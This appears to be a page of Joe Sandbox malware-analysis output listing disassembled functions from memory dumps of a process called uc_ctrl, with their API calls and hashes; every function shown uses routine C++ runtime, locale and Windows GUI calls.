Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: fgetc$H_prolog3_ungetc
String ID:
API String ID: 744725181-0
Opcode ID: 2fa977781c9ec06cf876d30b270bb71687e713ef5a542f8a116bc4e4ee91e0a2
Instruction ID: 0b81081b0712d6e6e0f73ed84c6e8581722d67540e41f499d5863cd90a6e9a4f
Opcode Fuzzy Hash: 2fa977781c9ec06cf876d30b270bb71687e713ef5a542f8a116bc4e4ee91e0a2
Instruction Fuzzy Hash: 5151B431A0521ACFCB14CF94C4809EDBBB5FF49324F18252DD50AA7A80DB36E944CF91

Function 6C6B0AD3 Relevance: 9.1, APIs: 6, Instructions: 140windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000100,?,00000000), ref: 6C6B0B5A
SendMessageW.USER32(?,0000020A,?,?), ref: 6C6B0BDD
IsWindow.USER32(?), ref: 6C6B0C02
ClientToScreen.USER32(?,?), ref: 6C6B0C13
IsWindow.USER32(?), ref: 6C6B0C30
ClientToScreen.USER32(?,?), ref: 6C6B0C63

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ClientMessageScreenSendWindow
String ID:
API String ID: 2093367132-0
Opcode ID: 36a0e64a83120a6fb4034622d8621d68fc57f790e22b696cfe0b43836fde5d8f
Instruction ID: 223497a377a648a3120abca277bb99e1792b7e7f705ee20ada8eb47021d15c92
Opcode Fuzzy Hash: 36a0e64a83120a6fb4034622d8621d68fc57f790e22b696cfe0b43836fde5d8f
Instruction Fuzzy Hash: E241E2B1600685AEEF108B64CE54B6EBEB9EB0931CF20497AE455F2E60D733D860D70D

Function 6C943E80 Relevance: 9.1, APIs: 6, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C943E87
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000018,6C93F1FC,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6C943E96

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C943EB2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: e900382ba035cc6085733b3aa9386f7754f63879c890bf78d6110478197f0566
Instruction ID: 4579840740e63305160d07bf3d1bb0fffe36fa10545eadc19e893adba03abf17
Opcode Fuzzy Hash: e900382ba035cc6085733b3aa9386f7754f63879c890bf78d6110478197f0566
Instruction Fuzzy Hash: 6A415E7490025A9FDF08DF70C890AEE7BB1BF29318F548589E8556BB90DB31EE25CB50

Function 6C92EFB0 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92EFD4
memcpy.VCRUNTIME140(?,?,?), ref: 6C92EFF3
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92F000
__crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,?), ref: 6C92F01D

Part of subcall function 6C931090: wcsnlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C92EE7C,?,00000100,?,00000001,?,00000001), ref: 6C93109F
Part of subcall function 6C931090: __crtLCMapStringEx.MSVCP140(?,?,?,?,?,?,?,?,6C92EE7C,?,00000100,?,00000001,?,00000001), ref: 6C9310C0

__crtLCMapStringW.MSVCP140(?,00000400,?,?,00000000,00000000), ref: 6C92F037
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C92F069

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: String__crt$___lc_locale_name_func_free_base_malloc_basememcpywcsnlen
String ID:
API String ID: 912474000-0
Opcode ID: f6e637c0cbead4a61d836d243025730b55adccd5bcf0c74ec34cde813df345c2
Instruction ID: ed4289c8eab1fe7fca5eecc57daa31f46044357627a67563b8400a9b4eeffc7b
Opcode Fuzzy Hash: f6e637c0cbead4a61d836d243025730b55adccd5bcf0c74ec34cde813df345c2
Instruction Fuzzy Hash: CE21E272A00625BBDB108F69CC80DAFB7ACEF46769B140258FD54A7784D735E91087E0

Function 6C6A0E44 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6A0E4B

Part of subcall function 6C68D728: IsWindowEnabled.USER32(?), ref: 6C68D733

InvalidateRect.USER32(?,00000000,00000001,0000000C), ref: 6C6A0E77
UpdateWindow.USER32(?), ref: 6C6A0E80

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$EnabledH_prolog3InvalidateRectUpdate
String ID:
API String ID: 262192325-0
Opcode ID: 68b4331cd231a32044c368bf6ba9aa821b471e5b3d6b7ab3bbb35db5a50b6ade
Instruction ID: 7a1efa5564cbfa92dabe4f3142f8004515f31982114b90a36df74f78e96559f6
Opcode Fuzzy Hash: 68b4331cd231a32044c368bf6ba9aa821b471e5b3d6b7ab3bbb35db5a50b6ade
Instruction Fuzzy Hash: 39217F72900744EBDB21DFB4C948EAFBBB8FF8A314B00496DE15697650DB31A905CB29

Function 6C9345E0 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

std::ios_base::_Tidy.LIBCPMT ref: 6C9345F3

Part of subcall function 6C9348D0: std::ios_base::_Callfns.LIBCPMT(00000000,?,?,6C9345F8), ref: 6C9348D6

?_Findarr@ios_base@std@@AAEAAU_Iosarray@12@H@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6C93463B
?_Findarr@ios_base@std@@AAEAAU_Iosarray@12@H@Z.MSVCP140(?,?,?,?,?,?,?,?,?), ref: 6C93464B
?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C934667

Part of subcall function 6C9345B0: new.LIBCMT ref: 6C9345B9

std::ios_base::_Callfns.LIBCPMT(00000002,?,?,?,?,?,?,?,?,?), ref: 6C934676
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,?,00000002,?,?,?,?,?,?,?,?,?), ref: 6C93468A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: std::ios_base::_$CallfnsFindarr@ios_base@std@@Iosarray@12@$?clear@ios_base@std@@?register_callback@ios_base@std@@TidyV12@W4event@12@
String ID:
API String ID: 4206128909-0
Opcode ID: 0152aab5dc31cf90ae9266cd72305a08a48f3d6ec051e849a6ee96dd229c3dcb
Instruction ID: e033db229335404d7b9e87dfe7e4df1fff8084c7b85e4af9214d3d9990a387af
Opcode Fuzzy Hash: 0152aab5dc31cf90ae9266cd72305a08a48f3d6ec051e849a6ee96dd229c3dcb
Instruction Fuzzy Hash: 40212870600B20AFCB50CF19D480A46BBF5FF58718B059269D94D8BF25D731E864CFA4

Function 6C7B68EE Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6C7B649B,6C7B126E,6C7B187F,?,6C7B1A8F,?,00000001,?,?,00000001,?,6C8813B0,0000000C,6C7B1B78), ref: 6C7B68FC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6C7B690A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6C7B6923
SetLastError.KERNEL32(00000000,6C7B1A8F,?,00000001,?,?,00000001,?,6C8813B0,0000000C,6C7B1B78,?,00000001,?), ref: 6C7B6975

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7a33e4cec1e55d2d31df31d98f8cea8bef4887833c59818a4065a8c9dd12b4c2
Instruction ID: 8f6fd7c7d42aca5be54c3d61bbc620589d2a88ee7b84653589830ccc43d65a59
Opcode Fuzzy Hash: 7a33e4cec1e55d2d31df31d98f8cea8bef4887833c59818a4065a8c9dd12b4c2
Instruction Fuzzy Hash: AF017933309B129EAB291D766D89A972F74EB0267C724033DF630E65D0EF714D059594

Function 6C949DBA Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949DC1
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EBBD,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949DCC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949DE4

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949E1E
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949E46

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 5a8569107d16a169e83c0bf16b5de9442358dff5eb2f2952d695fb76f9f9469b
Instruction ID: 9f63874968af6c31077b74c2ab945dcbef51465467868e688d700e4dcff19f6c
Opcode Fuzzy Hash: 5a8569107d16a169e83c0bf16b5de9442358dff5eb2f2952d695fb76f9f9469b
Instruction Fuzzy Hash: 3901B135B026258BCF05EB64C9506FE737AAFB5728F651818D025ABB90CF74DE088B85

Function 6C949D21 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949D28
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C949D33
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C949D4B

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C949D85
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949DAD

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 954ccdd3ab651224dcb9a0d22471e4e0ce2826e4b19fd3720bc3ed4641913248
Instruction ID: 2ae2e6af8622b9b27715c64f068d61bab37474e556e146a143fd59cb031f3f11
Opcode Fuzzy Hash: 954ccdd3ab651224dcb9a0d22471e4e0ce2826e4b19fd3720bc3ed4641913248
Instruction Fuzzy Hash: 4101B135B026218BCF01EB74C9502FD737AAFB6729F664528D411ABB90DF74DD188B81

Function 6C949EEC Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949EF3
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EC5B,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949EFE
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949F16

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949F50
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949F78

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 46507ba0f13c4ab1a81101648ec2de1fa43ee5cd7849ac716a235c9530c0c606
Instruction ID: d7764523fdb2f39a27d8c6c196563fa0530b18eb798c45356ccbc5b39e2fa5d1
Opcode Fuzzy Hash: 46507ba0f13c4ab1a81101648ec2de1fa43ee5cd7849ac716a235c9530c0c606
Instruction Fuzzy Hash: E001B135B026258BCF05EB64C8506FDB27ABFB5328F550558D416ABB90DF34DD188B81

Function 6C949E53 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949E5A
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EC0A,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949E65
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949E7D

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949EB7
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949EDF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 4e9010361178d911bc95e0afd8b6c4ad460a45baad7fb1ab0c6dfdef5b70b296
Instruction ID: 76bebb61ae2a37603883eaf07d4dc7716cefaa64bd3fb2f7e41b0725a3697af4
Opcode Fuzzy Hash: 4e9010361178d911bc95e0afd8b6c4ad460a45baad7fb1ab0c6dfdef5b70b296
Instruction Fuzzy Hash: 71019E35A026258BCF05EB64C8506FE737AAFB6328F650918C411ABB90CF74DE098B95

Function 6C949F85 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949F8C
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93ECAC,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949F97
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949FAF

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C949FE9
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94A011

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: c15bc6669a03e952faca38e4c9d6ced93798630bacc3badc59ff5d343e96dfbf
Instruction ID: c9aa18513237e51eb0c44484089959598acbc44313bd81cb0fdcae33d9debafe
Opcode Fuzzy Hash: c15bc6669a03e952faca38e4c9d6ced93798630bacc3badc59ff5d343e96dfbf
Instruction Fuzzy Hash: 3B01F135B022218BCF01EB64C8602FD7376BFB6328F650828C021ABB90CF74DD188B85

Function 6C9498EA Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9498F1
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E7CC), ref: 6C9498FC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C949914

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C94994E
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949976

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 85855add5ac23fcd3988aed15a7b0d679556b5196badde82acfcb5da3ddc2162
Instruction ID: dc37206e88eb628f77164bc4c7e13186343614101125dc09efaae306e002d9ed
Opcode Fuzzy Hash: 85855add5ac23fcd3988aed15a7b0d679556b5196badde82acfcb5da3ddc2162
Instruction Fuzzy Hash: 3801B135B056258BCF05EB64C9512FE73BABFB5728F554828C011ABB90CF78DD088B85

Function 6C949851 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949858
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E77B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C949863
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94987B

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9498B5
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9498DD

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
